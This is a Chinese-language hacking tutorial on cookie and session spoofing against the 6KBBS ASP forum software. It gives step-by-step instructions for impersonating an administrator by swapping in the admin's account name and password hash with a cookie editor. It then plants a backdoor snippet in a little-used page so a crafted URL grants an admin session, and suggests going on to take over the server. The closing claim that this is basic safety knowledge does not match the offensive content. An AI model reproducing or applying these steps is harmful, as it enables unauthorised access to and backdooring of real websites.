明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

案例講解Cookies欺騙與session欺騙入侵

[摘要]我們先來說下基礎(chǔ)知識,免的一些菜鳥看不懂,有借鑒. cookies欺騙,就是在只對用戶做cookies驗證的系統(tǒng)中,通過修改cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄。 那么什么是cookies呢,我這里給大家一個專業(yè)的解釋,cookies是一個儲存于瀏覽器目錄中的文本文件,記錄你訪問一...

我們先來說下基礎(chǔ)知識,免的一些菜鳥看不懂,有借鑒. cookies欺騙,就是在只對用戶做cookies驗證的系統(tǒng)中,通過修改cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄。

那么什么是cookies呢,我這里給大家一個專業(yè)的解釋,cookies是一個儲存于瀏覽器目錄中的文本文件,記錄你訪問一個特定站點的信息,且只 能被創(chuàng)建這個cookies的站點讀回,約由255個字符組成,僅占4kb硬盤空間。當(dāng)用戶正在瀏覽某站點時,它儲存于用戶機的隨機存取存儲器ram中, 退出瀏覽器后,它儲存于用戶的硬盤中。儲存在cookies中的大部分信息是普通的,如當(dāng)你瀏覽一個站點時,此文件記錄了每一次的擊鍵信息和被訪站點的地 址等。但是許多web站點使用cookies來儲存針對私人的數(shù)據(jù),如:注冊口令、用戶名、信用卡編號等。

什么是Session?當(dāng)一個訪問者來到你的網(wǎng)站的時候一個Session就開始了,當(dāng)他離開的時候Session就結(jié)束了。本質(zhì)是來說,cookie是和瀏覽器有關(guān)系,而Session變量就可以存一些資源變量在服務(wù)器上面。
正題: 我們先里看個實例,在6KBBS的login.asp找到113—124行,得到以下代碼:

if
[url=javascript:][color=#949494]Copy code[/color][/url]
login=false then tl=" 登 陸 失 敗" mes=mes&"

·返回重新填寫" else response.cookies(prefix)("lgname")

=lgname session(prefix"lgname")=

lgname response.cookies(prefix)("lgpwd")=

lgpwd response.cookies(prefix)("lgtype")=

lgtype response.cookies(prefix)("lgcook")=

cook if cook>0 then response.cookies(prefix).expires=

date cook end if

我們來分析下,如果你登錄失敗了他就顯示你登錄失敗并引導(dǎo)你返回上一頁,否則就給你寫進cookies里面,如果你的cookies有的話那么你的過期時 間就是你cookies的過期時間——也就是你保存cookies的時間了。 這時,我們想到的是如果里面的信息是admin的,那一不就成了以管理員登陸了嗎? 首先,我們先去注冊一個用戶,然后登錄,有個cookies保存的選項,一定要選哦。我選擇是保存一個月,因為保存了才會再你本機上寫進它的 cookies。接著,打開數(shù)據(jù)庫,看admin表里面有什么東西,別的不管,你只要那個bd為16的那個人就行了。有可能沒有,你可以到他們論壇去逛一 下,看管理員是誰,然后在數(shù)據(jù)庫里面拿他的賬號和加密的密碼來欺騙。

打開iecookiesview,這款軟件是拿來察看和修改本機的cookies的,很方便我們的cookies欺騙入侵。

在iecookiesview 里找到你要欺騙的那個網(wǎng)站,看到了嗎?有你的用戶名和md5加密的密碼,我們吧這兩項改為管理員的,就是把剛才數(shù)據(jù)庫里面的管理員賬號和md5加密的密碼 代替你自己的。點擊“更改cookies”,打開一個新的ie,然后再去訪問那個論壇,看到?jīng)]有?你現(xiàn)在已經(jīng)是管理員了。

接著,麻煩的事出現(xiàn)了,后臺登陸并不是以cookies來實現(xiàn)的,而是以session實現(xiàn)的 ,所以我們同樣來欺騙session;

首先簡單說一下一般asp系統(tǒng)的身份驗證原理。 一般來說,后臺管理員在登錄頁面輸入賬號密碼后,程序會拿著他提交的用戶名密碼去數(shù)據(jù)庫的管理員表里面找,如果有這個人的賬號密碼就認為你是管理員,然后 給你一個表示你身份的session值;蛘叱绦蛳劝涯愕挠脩裘艽a提取出來,然后到數(shù)據(jù)庫的管理員表里面取出管理員的賬號密碼來和你提交的相比較,如果 相等,就跟上面一樣給你個表示你身份的sesion值。然后你進入任何一個管理頁面它都要首先驗證你的session值,如果是管理員就讓你通過,不是的 話就引導(dǎo)你回到登錄頁面。

找到manage/admin.asp,發(fā)現(xiàn)驗證內(nèi)容為:

[url=javascript:][color=#949494]Copy code[/color][/url]
...
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes") 1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp" 很容易就知道如果沒有獲得驗證就會出現(xiàn)兩個session值:
[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout
session("AdminName")=rs("username") 試想如果我們以adminName的信息登陸就就ok了..接著用ASP木馬編輯器來添加代碼如下:

[url=javascript:][color=#949494]Copy code[/color][/url]
dim id
id=trim(request("hc"))
if id="16" then
session("AdminName")="admin"
end if 分析上段代碼,有個不定值--admin,可以根據(jù)實際情況來設(shè)置,不一定是admin;可以在一些不常去的頁面來登陸, 如:FriendSite.asp?hc=16返回時頁面沒有出現(xiàn)異樣,這就行了,然后再次登陸manage/admin.asp,你會發(fā)現(xiàn),你已經(jīng)進入 后臺了。然后可以提權(quán)得弄服務(wù)器了。


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費電腦中毒的煩擾。